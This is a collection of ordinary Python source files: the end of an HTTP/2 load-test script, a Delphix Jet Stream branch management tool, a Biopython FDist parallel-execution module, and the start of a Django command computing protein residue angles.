{max_parallel:3d}", "rows": [ {"protocol": 'h2', "max_parallel": 1}, {"protocol": 'h2', "max_parallel": 2}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 20}, {"protocol": 'h2', "max_parallel": 50}, {"protocol": 'h1', "max_parallel": 1}, ], "col_title": "{clients}c", "clients": 1, "columns": [ {"clients": 1, "requests": 10000}, {"clients": 4, "requests": 40000}, {"clients": 8, "requests": 80000}, {"clients": 16, "requests": 160000}, {"clients": 32, "requests": 320000}, ], }, "transfers": { "title": "net transfer speed, by KB body size, (MB/s)", "class": UrlsLoadTest, "location": "/", "file_count": 1, "file_sizes": [10, 100, 1000, 10000], "requests": 10000, "clients": 1, "warmup": False, "measure": "mb/s", "protocol": 'h2', "max_parallel": 1, "row0_title": "protocol c/parallel", "row_title": "{protocol} {clients}/{max_parallel}", "rows": [ {"protocol": 'h1', "max_parallel": 1, "clients": 1}, {"protocol": 'h2', "max_parallel": 1, "clients": 1}, {"protocol": 'h2', "max_parallel": 2, "clients": 1}, {"protocol": 'h2', "max_parallel": 6, "clients": 1}, {"protocol": 'h1', "max_parallel": 1, "clients": 2}, {"protocol": 'h2', "max_parallel": 1, "clients": 2}, {"protocol": 'h2', "max_parallel": 2, "clients": 2}, {"protocol": 'h2', "max_parallel": 6, "clients": 2}, {"protocol": 'h1', "max_parallel": 1, "clients": 6}, {"protocol": 'h2', "max_parallel": 1, "clients": 6}, {"protocol": 'h2', "max_parallel": 2, "clients": 6}, {"protocol": 'h2', "max_parallel": 6, "clients": 6}, ], "col_title": "{file_sizes}", "clients": 1, "columns": [ {"file_sizes": [10], "requests": 100000}, {"file_sizes": [100], "requests": 50000}, {"file_sizes": [1000], "requests": 20000}, {"file_sizes": [10000], "requests": 5000}, ], }, "bursty": { "title": "1k files, {clients} clients, {requests} request, (req/s)", "class": StressTest, "location": "/", "file_count": 1024, "file_sizes": [1, 2, 3, 4, 5, 10, 20, 30, 40, 50, 100, 10000], "requests": 20000, "protocol": "h2", "max_parallel": 50, "clients": 32, "cooldown": timedelta(seconds=20), "row0_title": "protocol", "row_title": "{protocol}", "rows": [ {"protocol": 'h2', }, ], "col_title": "{run}", "columns": [ {"run": 1}, {"run": 2}, {"run": 3}, {"run": 4}, {"run": 5}, {"run": 6}, {"run": 7}, {"run": 8}, {"run": 9}, {"run": 10}, {"run": 11}, {"run": 12}, {"run": 13}, {"run": 14}, {"run": 15}, {"run": 16}, {"run": 17}, {"run": 18}, {"run": 19}, {"run": 20}, ], }, "m6": { "title": "1k files, 1k-10MB, *conn, 10k req ({measure})", "class": UrlsLoadTest, "location": "/", "file_count": 1024, "file_sizes": [1, 2, 3, 4, 5, 10, 20, 30, 40, 50, 100, 10000], "requests": 5000, "warmup": True, "measure": "req/s", "protocol": 'h2', "max_parallel": 6, "row0_title": "protocol max", "row_title": "{protocol} {max_parallel:3d}", "rows": [ {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 6}, ], "col_title": "{clients}c", "clients": 1, "columns": [ {"clients": 1, "requests": 1000}, {"clients": 32, "requests": 16000}, {"clients": 64, "requests": 32000}, {"clients": 128, "requests": 64000}, {"clients": 192, "requests": 96000}, ], }, } env = H2TestEnv() setup = H2TestSetup(env=env) env.setup_httpd(setup=setup) rv = 0 try: log.debug("starting tests") names = args.names if len(args.names) else sorted(scenarios.keys()) for name in names: if name not in scenarios: raise LoadTestException(f"unknown test scenario: {name}") scenario = scenarios[name] table = [ [scenario['title'].format(**scenario)], ] foot_notes = [] headers = [scenario['row0_title']] for col in scenario['columns']: headers.append(scenario['col_title'].format(**col)) table.append(headers) cls.print_table(table) test = scenario['class'].from_scenario(scenario, env=env) for row in scenario['rows']: if args.protocol is not None and row['protocol'] != args.protocol: continue row_line = [scenario['row_title'].format(**row)] table.append(row_line) for col in scenario['columns']: t = scenario.copy() t.update(row) t.update(col) test = test.next_scenario(t) env.httpd_error_log.clear_log() summary = test.run() result, fnote = test.format_result(summary) if fnote: foot_notes.append(fnote) row_line.append("{0}{1}".format(result, f"[{len(foot_notes)}]" if fnote else "")) cls.print_table(table, foot_notes) test.shutdown() except KeyboardInterrupt: log.warning("aborted") rv = 1 except LoadTestException as ex: sys.stderr.write(f"ERROR: {str(ex)}\n") rv = 1 env.apache_stop() sys.exit(rv) if __name__ == "__main__": LoadTest.main()
js_branch.py
#!/usr/bin/env python # Program Name : js_branch.py # Description : Delphix implementation script # Author : Corey Brune # Created: March 4 2016 # # Copyright (c) 2016 by Delphix. # All rights reserved. # See http://docs.delphix.com/display/PS/Copyright+Statement for details # # Delphix Support statement available at # See http://docs.delphix.com/display/PS/PS+Script+Support+Policy for details # # Warranty details provided in external file # for customers who have purchased support. # """Creates, updates, deletes, activates and lists branches Usage: js_branch.py (--create_branch <name> --container_name <name> --template_name <name>| --list_branches | --delete_branch <name> | --activate_branch <name> | --update_branch <name>) [--engine <identifier> | --all] [--parallel <n>] [--poll <n>] [--debug] [--config <path_to_file>] [--logdir <path_to_file>] js_branch.py -h | --help | -v | --version Creates, Lists, Removes a Jet Stream Branch Examples: js_branch.py --list_branches js_branch.py --create_branch jsbranch1 --container_name jscontainer --template_name jstemplate1 js_branch.py --activate_branch jsbranch1 js_branch.py --delete_branch jsbranch1 js_branch.py --update_branch jsbranch1 Options: --create_branch <name> Name of the new JS Branch --container_name <name> Name of the container to use --update_branch <name> Name of the branch to update --template_name <name> Name of the template to use --activate_branch <name> Name of the branch to activate --delete_branch <name> Delete the JS Branch --list_branches List the branchs on a given engine --engine <type> Alt Identifier of Delphix engine in dxtools.conf. --all Run against all engines. --debug Enable debug logging --parallel <n> Limit number of jobs to maxjob --poll <n> The number of seconds to wait between job polls [default: 10] --config <path_to_file> The path to the dxtools.conf file [default: ./dxtools.conf] --logdir <path_to_file> The path to the logfile you want to use. [default: ./js_branch.log] -h --help Show this screen. -v --version Show version. """ VERSION="v.0.0.002" from docopt import docopt import logging from os.path import basename import signal import sys import time import traceback import json import re from multiprocessing import Process from time import sleep from time import time from delphixpy.v1_7_0.delphix_engine import DelphixEngine from delphixpy.v1_7_0.web.jetstream import branch from delphixpy.v1_7_0.web.jetstream import container from delphixpy.v1_7_0.web.jetstream import template from delphixpy.v1_7_0.web import database from delphixpy.v1_7_0.web.vo import JSBranchCreateParameters from delphixpy.v1_7_0.web.vo import JSDataSourceCreateParameters from delphixpy.v1_7_0.web.vo import JSBranch from delphixpy.v1_7_0.exceptions import RequestError from delphixpy.v1_7_0.exceptions import JobError from delphixpy.v1_7_0.exceptions import HttpError from lib.DxTimeflow import DxTimeflow from lib.DlpxException import DlpxException from lib.GetSession import GetSession from lib.GetReferences import find_obj_by_name from lib.GetReferences import convert_timestamp from lib.DxLogging import logging_est from lib.DxLogging import print_info from lib.DxLogging import print_debug def create_branch(branch_name, template_name, container_name): """ Create the JS Branch branch_name: Name of the branch to create template_name: Name of the template to use container_name: Name of the container to use """ js_branch_params = JSBranchCreateParameters() try: data_container_obj = find_obj_by_name(dx_session_obj.server_session, container, container_name) source_layout_obj = find_obj_by_name(dx_session_obj.server_session, template, template_name) js_branch_params.name = branch_name js_branch_params.data_container = data_container_obj.reference js_branch_params.timeline_point_parameters = { 'sourceDataLayout': source_layout_obj.reference, 'type': 'JSTimelinePointLatestTimeInput'} branch.create(dx_session_obj.server_session, js_branch_params) except (DlpxException, RequestError, HttpError) as e: print('\nThe branch %s was not created. The error was:\n\n%s' % (branch_name, e)) sys.exit(1) def list_branches(): """ List all branches on a given engine No args required """ try: header = '\nName\tReference\tJSBranch Name' js_branches = branch.get_all(dx_session_obj.server_session) print header for js_branch in js_branches: print('%s, %s, %s' % (js_branch.name, js_branch.reference, js_branch._name[0])) print '\n' except (DlpxException, HttpError, RequestError) as e: raise DlpxException('\nERROR: JS Branches could not be listed. The ' 'error was:\n\n%s' % (e)) def update_branch(branch_name): """ Updates a branch branch_name: Name of the branch to update """ js_branch_obj = JSBranch() try: branch_obj = find_obj_by_name(dx_session_obj.server_session, branch, branch_name) branch.update(dx_session_obj.server_session, branch_obj.reference, js_branch_obj) except (DlpxException, HttpError, RequestError) as e: print('\nERROR: The branch %s could not be updated. The error was' ':\n\n%s' % (branch_name, e)) def activate_branch(branch_name): """ Activates a branch branch_name: Name of the branch to activate """ try: branch_obj = find_obj_by_name(dx_session_obj.server_session, branch, branch_name) branch.activate(dx_session_obj.server_session, branch_obj.reference) except RequestError as e: print('\nAn error occurred updating the branch:\n%s' % (e)) sys.exit(1) def delete_branch(branch_name): """ Deletes a branch branch_name: Branch to delete """ try: branch_obj = find_obj_by_name(dx_session_obj.server_session, branch, branch_name) branch.delete(dx_session_obj.server_session, branch_obj.reference) except (DlpxException, HttpError, RequestError) as e: raise DlpxException('\nERROR: The branch %s was not deleted. The ' 'error was:\n\n%s' % (branch_name, e.message)) def build_ds_params(engine, obj, db): """ Builds the datasource parameters engine: Dictionary of engines obj: object type to use when finding db db: Name of the database to use when building the parameters """ try: db_obj = find_obj_by_name(dx_session_obj.server_session, obj, db) ds_params = JSDataSourceCreateParameters() ds_params.source = {'type':'JSDataSource', 'name': db} ds_params.container = db_obj.reference return(ds_params) except RequestError as e: print('\nCould not find %s\n%s' % (db, e.message)) sys.exit(1) def updateJSObject(obj_name, obj_type, vo_object, err_message): try: obj_ref = find_obj_by_name(dx_session_obj.server_session, obj_type, obj_name) obj_type.update(engine, obj_ref, vo_object) print '%s was updated successfully.\n' % (obj_name) except (DlpxException, HttpError, RequestError) as e: print('\nERROR: An error occurred while updating branch %s:\n%s' % (engine['hostname'], e)) sys.exit(1) def run_async(func): """ http://code.activestate.com/recipes/576684-simple-threading-decorator/ run_async(func) function decorator, intended to make "func" run in a separate thread (asynchronously). Returns the created Thread object E.g.: @run_async def task1(): do_something @run_async def task2(): do_something_too t1 = task1() t2 = task2() ... t1.join() t2.join() """ from threading import Thread from functools import wraps @wraps(func) def async_func(*args, **kwargs): func_hl = Thread(target = func, args = args, kwargs = kwargs) func_hl.start() return func_hl return async_func def time_elapsed(): """ This function calculates the time elapsed since the beginning of the script. Call this anywhere you want to note the progress in terms of time """ elapsed_minutes = round((time() - time_start)/60, +1) return elapsed_minutes @run_async def main_workflow(engine): """ This function is where we create our main workflow. Use the @run_async decorator to run this function asynchronously. The @run_async decorator allows us to run against multiple Delphix Engine simultaneously engine: Dictionary of engines """ #Establish these variables as empty for use later environment_obj = None source_objs = None try: #Setup the connection to the Delphix Engine dx_session_obj.serversess(engine['ip_address'], engine['username'], engine['password']) except DlpxException as e: print('\nERROR: Engine %s encountered an error while provisioning ' '%s:\n%s\n' % (dx_session_obj.engine['hostname'], arguments['--target'], e)) sys.exit(1) thingstodo = ["thingtodo"] try: with dx_session_obj.job_mode(single_thread): while len(thingstodo)> 0: #while (len(dx_session_obj.jobs) > 0 or len(thingstodo)> 0): if len(thingstodo) > 0: if arguments['--create_branch']: create_branch(arguments['--create_branch'], arguments['--template_name'], arguments['--container_name']) elif arguments['--delete_branch']: delete_branch(arguments['--delete_branch']) elif arguments['--update_branch']: update_branch(arguments['--update_branch']) elif arguments['--activate_branch']: activate_branch(arguments['--activate_branch']) elif arguments['--list_branches']: list_branches() thingstodo.pop() except (DlpxException, RequestError, JobError, HttpError) as e: print('\nError in js_branch: %s:\n%s' % (engine['hostname'], e)) sys.exit(1) def run_job(): """ This function runs the main_workflow aynchronously against all the servers specified """ #Create an empty list to store threads we create. threads = [] #If the --all argument was given, run against every engine in dxtools.conf if arguments['--all']: print_info("Executing against all Delphix Engines in the dxtools.conf") try: #For each server in the dxtools.conf... for delphix_engine in dx_session_obj.dlpx_engines: engine = dx_session_obj[delphix_engine] #Create a new thread and add it to the list. threads.append(main_workflow(engine)) except DlpxException as e: print 'Error encountered in run_job():\n%s' % (e) sys.exit(1) elif arguments['--all'] is False: #Else if the --engine argument was given, test to see if the engine # exists in dxtools.conf if arguments['--engine']: try: engine = dx_session_obj.dlpx_engines[arguments['--engine']] print_info('Executing against Delphix Engine: %s\n' % (arguments['--engine'])) except (DlpxException, RequestError, KeyError) as e: raise DlpxException('\nERROR: Delphix Engine %s cannot be ' 'found in %s. Please check your value ' 'and try again. Exiting.\n' % ( arguments['--engine'], config_file_path)) else: #Else search for a default engine in the dxtools.conf for delphix_engine in dx_session_obj.dlpx_engines: if dx_session_obj.dlpx_engines[delphix_engine]['default'] == \ 'true': engine = dx_session_obj.dlpx_engines[delphix_engine] print_info('Executing against the default Delphix Engine ' 'in the dxtools.conf: %s' % ( dx_session_obj.dlpx_engines[delphix_engine]['hostname'])) break if engine == None: raise DlpxException("\nERROR: No default engine found. Exiting") #run the job against the engine threads.append(main_workflow(engine)) #For each thread in the list... for each in threads: #join them back together so that we wait for all threads to complete # before moving on each.join() def main(argv): #We want to be able to call on these variables anywhere in the script. global single_thread global usebackup global time_start global database_name global config_file_path global dx_session_obj global debug try: dx_session_obj = GetSession() logging_est(arguments['--logdir']) print_debug(arguments) time_start = time() config_file_path = arguments['--config'] logging_est(arguments['--logdir']) print_debug(arguments) time_start = time() engine = None single_thread = False config_file_path = arguments['--config'] #Parse the dxtools.conf and put it into a dictionary dx_session_obj.get_config(config_file_path) #This is the function that will handle processing main_workflow for # all the servers. run_job() elapsed_minutes = time_elapsed() print_info("script took " + str(elapsed_minutes) + " minutes to get this far.") #Here we handle what we do when the unexpected happens except SystemExit as e: """ This is what we use to handle our sys.exit(#) """ sys.exit(e) except DlpxException as e: """ We use this exception handler when an error occurs in a function call. """ print('\nERROR: Please check the ERROR message below:\n%s' % (e.message)) sys.exit(2) except HttpError as e: """ We use this exception handler when our connection to Delphix fails """ print('\nERROR: Connection failed to the Delphix Engine. Please ' 'check the ERROR message below:\n%s' % (e.message)) sys.exit(2) except JobError as e: """ We use this exception handler when a job fails in Delphix so that we have actionable data """ print('A job failed in the Delphix Engine:\n%s' % (e.job)) elapsed_minutes = time_elapsed() print_info(basename(__file__) + " took " + str(elapsed_minutes) + " minutes to get this far.") sys.exit(3) except KeyboardInterrupt: """ We use this exception handler to gracefully handle ctrl+c exits """ print_debug("You sent a CTRL+C to interrupt the process") elapsed_minutes = time_elapsed() print_info(basename(__file__) + " took " + str(elapsed_minutes) + " minutes to get this far.") except: """ Everything else gets caught here """ print(sys.exc_info()[0]) print(traceback.format_exc()) elapsed_minutes = time_elapsed() print_info('%s took %s minutes to get this far' % (basename(__file__), str(elapsed_minutes))) sys.exit(1) if __name__ == "__main__": #Grab our arguments from the doc at the top of the script arguments = docopt(__doc__, version=basename(__file__) + " " + VERSION) #Feed our arguments to the main function, and off we go! main(arguments)
Async.py
# Copyright 2007 by Tiago Antao <tiagoantao@gmail.com>. All rights reserved. # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """Asynchronous execution of Fdist and spliting of loads (DEPRECATED). FDistAsync Allows for the execution of FDist. SplitFDist splits a single Fdist execution in several, taking advantage of multi-core architectures. """ import os import shutil import threading from time import sleep from Bio.PopGen.Async import Local from Bio.PopGen.FDist.Controller import FDistController class FDistAsync(FDistController): """Asynchronous FDist execution. """ def __init__(self, fdist_dir="", ext=None): """Constructor. Parameters: - fdist_dir - Where fdist can be found, if = "", then it should be on the path. - ext - Extension of binary names (e.g. nothing on Unix, ".exe" on Windows """ FDistController.__init__(self, fdist_dir, ext) def run_job(self, parameters, input_files): """Runs FDist asynchronously. Gets typical Fdist parameters from a dictionary and makes a "normal" call. This is run, normally, inside a separate thread. """ npops = parameters['npops'] nsamples = parameters['nsamples'] fst = parameters['fst'] sample_size = parameters['sample_size'] mut = parameters.get('mut', 0) num_sims = parameters.get('num_sims', 20000) data_dir = parameters.get('data_dir', '.') is_dominant = parameters.get('is_dominant', False) theta = parameters.get('theta', 0.06) beta = parameters.get('beta', (0.25, 0.25)) max_freq = parameters.get('max_freq', 0.99) fst = self.run_fdist(npops, nsamples, fst, sample_size, mut, num_sims, data_dir, is_dominant, theta, beta, max_freq) output_files = {} output_files['out.dat'] = open(data_dir + os.sep + 'out.dat', 'r') return fst, output_files class SplitFDist(object): """Splits a FDist run. The idea is to split a certain number of simulations in smaller numbers (e.g. 30.000 sims split in 30 packets of 1.000). This allows to run simulations in parallel, thus taking advantage of multi-core CPUs. Each SplitFDist object can only be used to run a single FDist simulation. """ def __init__(self, report_fun=None, num_thr=2, split_size=1000, fdist_dir='', ext=None): """Constructor. Parameters: - report_fun - Function that is called when a single packet is run, it should have a single parameter: Fst. - num_thr - Number of desired threads, typically the number of cores. - split_size - Size that a full simulation will be split in. - ext - Binary extension name (e.g. nothing on Unix, '.exe' on Windows). """ self.async = Local.Local(num_thr) self.async.hooks['fdist'] = FDistAsync(fdist_dir, ext) self.report_fun = report_fun self.split_size = split_size # There might be races when reporting... def monitor(self): """Monitors and reports (using report_fun) execution. Every time a partial simulation ends, calls report_fun. IMPORTANT: monitor calls can be concurrent with other events, ie, a tasks might end while report_fun is being called. This means that report_fun should be consider that other events might be happening while it is running (it can call acquire/release if necessary). """ while(True): sleep(1) self.async.access_ds.acquire() keys = list(self.async.done.keys()) # copy it self.async.access_ds.release() for done in keys: self.async.access_ds.acquire() fst, files = self.async.done[done] del self.async.done[done] out_dat = files['out.dat'] f = open(self.data_dir + os.sep + 'out.dat', 'a') f.writelines(out_dat.readlines()) f.close() out_dat.close() self.async.access_ds.release() for file in os.listdir(self.parts[done]): os.remove(self.parts[done] + os.sep + file) os.rmdir(self.parts[done]) if self.report_fun: self.report_fun(fst) self.async.access_ds.acquire() if len(self.async.waiting) == 0 and len(self.async.running) == 0 \ and len(self.async.done) == 0: break self.async.access_ds.release() def acquire(self): """Allows the external acquisition of the lock. """ self.async.access_ds.acquire() def release(self): """Allows the external release of the lock. """ self.async.access_ds.release() # You can only run a fdist case at a time def run_fdist(self, npops, nsamples, fst, sample_size, mut=0, num_sims=20000, data_dir='.', is_dominant=False, theta=0.06, beta=(0.25, 0.25), max_freq=0.99): """Runs FDist. Parameters can be seen on FDistController.run_fdist. It will split a single execution in several parts and create separated data directories. """ num_parts = num_sims // self.split_size self.parts = {} self.data_dir = data_dir for directory in range(num_parts): full_path = data_dir + os.sep + str(directory) try: os.mkdir(full_path) except OSError: pass # Its ok, if it is already there if "ss_file" in os.listdir(data_dir): shutil.copy(data_dir + os.sep + "ss_file", full_path) id = self.async.run_program('fdist', { 'npops': npops, 'nsamples': nsamples, 'fst': fst, 'sample_size': sample_size, 'mut': mut, 'num_sims': self.split_size, 'data_dir': full_path, 'is_dominant': is_dominant, 'theta': theta, 'beta': beta, 'max_freq': max_freq }, {}) self.parts[id] = full_path threading.Thread(target=self.monitor).run()
build_structure_angles.py
from django.core.management.base import BaseCommand from django.db import connection import contactnetwork.pdb as pdb from structure.models import Structure, StructureVectors from residue.models import Residue from angles.models import ResidueAngle as Angle from contactnetwork.models import Distance, distance_scaling_factor import Bio.PDB import copy import freesasa import io import logging import math import subprocess import os import re import traceback import numpy as np import scipy.stats as stats from scipy.spatial.transform import Rotation as R from collections import OrderedDict from sklearn.decomposition import PCA from numpy.core.umath_tests import inner1d from multiprocessing import Queue, Process, Value, Lock SASA = True HSE = True extra_pca = True print_pdb = False GN_only = False incremental_update = False # atom name dictionary # Based on https://github.com/fomightez/structurework/blob/master/spartan_fixer/SPARTAN08_Fixer_standalone.py residue_atom_names = { 'ALA': ['N', 'CA', 'C', 'O', 'CB'], 'ARG': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD', 'NE', 'CZ', 'NH1', 'NH2'], 'ASN': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'OD1', 'ND2'], 'ASP': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'OD1', 'OD2'], 'CYS': ['N', 'CA', 'C', 'O', 'CB', 'SG'], 'GLU': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD', 'OE1', 'OE2'], 'GLN': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD', 'OE1', 'NE2'], 'GLY': ['N', 'CA', 'C', 'O'], 'HIS': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'ND1', 'CD2', 'CE1', 'NE2'], 'ILE': ['N', 'CA', 'C', 'O', 'CB', 'CG1', 'CG2', 'CD1'], 'LEU': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD1', 'CD2'], 'LYS': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD', 'CE', 'NZ'], 'MET': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'SD', 'CE'], 'PHE': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD1', 'CD2', 'CE1', 'CE2', 'CZ'], 'PRO': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD'], 'SER': ['N', 'CA', 'C', 'O', 'CB', 'OG'], 'THR': ['N', 'CA', 'C', 'O', 'CB', 'OG1', 'CG2'], 'TRP': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD1', 'CD2', 'NE1', 'CE2', 'CE3', 'CZ2', 'CZ3', 'CH2'], 'TYR': ['N', 'CA', 'C', 'O', 'CB', 'CG', 'CD1', 'CD2', 'CE1', 'CE2', 'CZ', 'OH'], 'VAL': ['N', 'CA', 'C', 'O', 'CB', 'CG1', 'CG2'] } residue_atom_names['YCM'] = residue_atom_names['CYS'] residue_atom_names['CSD'] = residue_atom_names['ALA'] residue_atom_names['TYS'] = residue_atom_names['TYR'] residue_atom_names['SEP'] = residue_atom_names['SER'] # sidechain torsion angles - chi dihedrals # From https://gist.github.com/lennax/0f5f65ddbfa278713f58 chi_atoms = dict( chi1=dict( ARG=['N', 'CA', 'CB', 'CG'], ASN=['N', 'CA', 'CB', 'CG'], ASP=['N', 'CA', 'CB', 'CG'], CYS=['N', 'CA', 'CB', 'SG'], GLN=['N', 'CA', 'CB', 'CG'], GLU=['N', 'CA', 'CB', 'CG'], HIS=['N', 'CA', 'CB', 'CG'], ILE=['N', 'CA', 'CB', 'CG1'], LEU=['N', 'CA', 'CB', 'CG'], LYS=['N', 'CA', 'CB', 'CG'], MET=['N', 'CA', 'CB', 'CG'], PHE=['N', 'CA', 'CB', 'CG'], PRO=['N', 'CA', 'CB', 'CG'], SER=['N', 'CA', 'CB', 'OG'], THR=['N', 'CA', 'CB', 'OG1'], TRP=['N', 'CA', 'CB', 'CG'], TYR=['N', 'CA', 'CB', 'CG'], VAL=['N', 'CA', 'CB', 'CG1'], YCM=['N', 'CA', 'CB', 'SG'], TYS=['N', 'CA', 'CB', 'CG'], SEP=['N', 'CA', 'CB', 'OG'], ), altchi1=dict( VAL=['N', 'CA', 'CB', 'CG2'], ), chi2=dict( ARG=['CA', 'CB', 'CG', 'CD'], ASN=['CA', 'CB', 'CG', 'OD1'], ASP=['CA', 'CB', 'CG', 'OD1'], GLN=['CA', 'CB', 'CG', 'CD'], GLU=['CA', 'CB', 'CG', 'CD'], HIS=['CA', 'CB', 'CG', 'ND1'], ILE=['CA', 'CB', 'CG1', 'CD1'], LEU=['CA', 'CB', 'CG', 'CD1'], LYS=['CA', 'CB', 'CG', 'CD'], MET=['CA', 'CB', 'CG', 'SD'], PHE=['CA', 'CB', 'CG', 'CD1'], PRO=['CA', 'CB', 'CG', 'CD'], TRP=['CA', 'CB', 'CG', 'CD1'], TYR=['CA', 'CB', 'CG', 'CD1'], TYS=['CA', 'CB', 'CG', 'CD1'], ), altchi2=dict( ASP=['CA', 'CB', 'CG', 'OD2'], LEU=['CA', 'CB', 'CG', 'CD2'], PHE=['CA', 'CB', 'CG', 'CD2'], TYR=['CA', 'CB', 'CG', 'CD2'], TYS=['CA', 'CB', 'CG', 'CD2'], ), chi3=dict( ARG=['CB', 'CG', 'CD', 'NE'], GLN=['CB', 'CG', 'CD', 'OE1'], GLU=['CB', 'CG', 'CD', 'OE1'], LYS=['CB', 'CG', 'CD', 'CE'], MET=['CB', 'CG', 'SD', 'CE'], ), chi4=dict( ARG=['CG', 'CD', 'NE', 'CZ'], LYS=['CG', 'CD', 'CE', 'NZ'], ), chi5=dict( ARG=['CD', 'NE', 'CZ', 'NH1'], ), ) # Empirical values as defined by Tien et al. Plos ONE 2013 maxSASA = { "A": 121, "C": 148, "D": 187, "E": 214, "F": 228, "G": 97, "H": 216, "I": 195, "K": 230, "L": 191, "M": 203, "N": 187, "P": 154, "Q": 214, "R": 265, "S": 143, "T": 163, "V": 165, "W": 264, "Y": 255, "ALA": 121, "CYS": 148, "ASP": 187, "GLU": 214, "PHE": 228, "GLY": 97, "HIS": 216, "ILE": 195, "LYS": 230, "LEU": 191, "MET": 203, "ASN": 187, "PRO": 154, "GLN": 214, "ARG": 265, "SER": 143, "THR": 163, "VAL": 165, "TRP": 264, "TYR": 255 } # TODO adjust to capture actual SASA of modified residue maxSASA['YCM'] = maxSASA['CYS'] maxSASA['CSD'] = maxSASA['ALA'] maxSASA['TYS'] = maxSASA['TYR'] maxSASA['SEP'] = maxSASA['SER'] # Most outer residue atom outerAtom = { "ALA": 'CB', # endpoint "CYS": 'SG', # endpoint "ASP": 'CG', # middle point - rotation small effect "GLU": 'CD', # middle point - rotation small effect "PHE": 'CZ', # endpoint "GLY": 'CA', # no sidechain "HIS": 'CG', # no sidechain "ILE": 'CD1', # outer endpoint "LYS": 'NZ', # endpoint "LEU": 'CG', # middle point - rotation small effect "MET": 'CE', # endpoint "ASN": 'CG', # middle point - flippable residue "PRO": 'CG', # rigid "GLN": 'CD', # middle point - flippable residue "ARG": 'CZ', # middle point - rotation small effect "SER": 'OG', # endpoint "THR": 'OG1', # endpoint donor - capture H-bond change "VAL": 'CB', # middle point - rotation small effect "TRP": 'CZ3', # second ring - capture rotation "TYR": 'OH' # endpoint } outerAtom['YCM'] = outerAtom['CYS'] outerAtom['CSD'] = outerAtom['ALA'] outerAtom['TYS'] = outerAtom['TYR'] outerAtom['SEP'] = outerAtom['SER'] class NonHetSelect(Bio.PDB.Select): def accept_residue(self, residue): return 1 if residue.id[0] == " " else 0 class Command(BaseCommand): help = "Command to calculate all angles for residues in each TM helix." np.set_printoptions(suppress=True) logger = logging.getLogger(__name__) ########################################################################### ############################ Helper Functions ############################ ########################################################################### processes = 2 def prepare_input(self, proc, items, iteration=1): q = Queue() procs = list() num_items = len(items) num = Value('i', 0) lock = Lock() if not num_items: return False # make sure not to use more jobs than proteins (chunk size will be 0, which is not good) if proc > num_items: proc = num_items chunk_size = int(num_items / proc) connection.close() for i in range(0, proc): first = chunk_size * i if i == proc - 1: last = False else: last = chunk_size * (i + 1) p = Process(target=self.main_func, args=([(first, last), iteration,num,lock])) procs.append(p) p.start() for p in procs: p.join() def add_arguments(self, parser): parser.add_argument('-p', '--proc', type=int, action='store', dest='proc', default=2, help='Number of processes to run') def load_pdb_var(self, pdb_code, var): """ load string of pdb as pdb with a file handle. Would be nicer to do this directly, but no such function implemented in Bio PDB """ parser = pdb.PDBParser(QUIET=True) with io.StringIO(var) as f: return parser.get_structure(pdb_code,f) def handle(self, *args, **options): if incremental_update: done_structures = Angle.objects.values('structure_id').distinct() # TODO add filter here for non-processed structures self.references = Structure.objects.all().exclude(id__in=done_structures).prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') else: Angle.objects.all().delete() Distance.objects.all().delete() StructureVectors.objects.all().delete() print("All Angle, Distance, and StructureVector data cleaned") self.references = Structure.objects.all().prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') # DEBUG for a specific PDB # self.references = Structure.objects.filter(pdb_code__index="4OO9").prefetch_related('pdb_code','pdb_data','protein_conformation__protein','protein_conformation__state').order_by('protein_conformation__protein') if 'proc' in options and options['proc']>0: self.processes = options['proc'] print(len(self.references),'structures') self.references = list(self.references) self.prepare_input(self.processes, self.references) def main_func(self, positions, iteration,count,lock): def recurse(entity,slist): """ filter a pdb structure in a recursive way entity: the pdb entity, a structure should be given on the top level slist: the list of filter criterias, for each level. """ for subenty in entity.get_list(): if not subenty.id in slist[0]: entity.detach_child(subenty.id) elif slist[1:]: recurse(subenty, slist[1:]) def cal_pseudo_CB(r): """ Calculate pseudo CB for Glycin from Bio pdb faq """ a =r['CA'].get_vector() n = r['N'].get_vector() - a c = r['C'].get_vector() - a rot = pdb.rotaxis(-np.pi*120.0/180.0, c) b = n.left_multiply(rot) + a return b.get_array() def pca_line(pca,h, r=0): """ Calculate the pca for h and return the first pc transformed back to the original coordinate system """ if ((not r) if pca.fit_transform(h)[0][0] < 0 else r): return pca.inverse_transform(np.asarray([[0,0,0],[1,0,0]])) else:return pca.inverse_transform(np.asarray([[0,0,0],[-1,0,0]])) def calc_angle(b,c): """ Calculate the angle between c, b and the orthogonal projection of b to the x axis. """ ba = -b bc = c + ba ba[:,0] = 0 #return np.degrees(np.arccos(inner1d(ba, bc) / (np.linalg.norm(ba,axis=1) * np.linalg.norm(bc,axis=1)))) # Alternative and clockwise angle implementation - angles left/right different value ba = ba[:,1:3] bc = bc[:,1:3] return np.degrees(np.arctan2(ba[:,0]*bc[:,1]-ba[:,1]*bc[:,0], inner1d(ba, bc))) def ca_cb_calc(ca,cb,pca): """ Calculate the angles between ca, cb and center axis """ return calc_angle(pca.transform(ca),pca.transform(cb)) def ca_distance_calc(ca,pca): """ Calculate the smallest distance between the ca and the center axis """ return np.sqrt(np.sum(np.power(pca.transform(ca)[:,1:],2), axis = 1)) def center_coordinates(h, p, pca): """ Calculate the orthogonal projection of the CA to the helix axis which is moved to the mean of seven consecutive amino acids """ h_middle = np.transpose(np.stack((moving_average(h[:,0], 7), 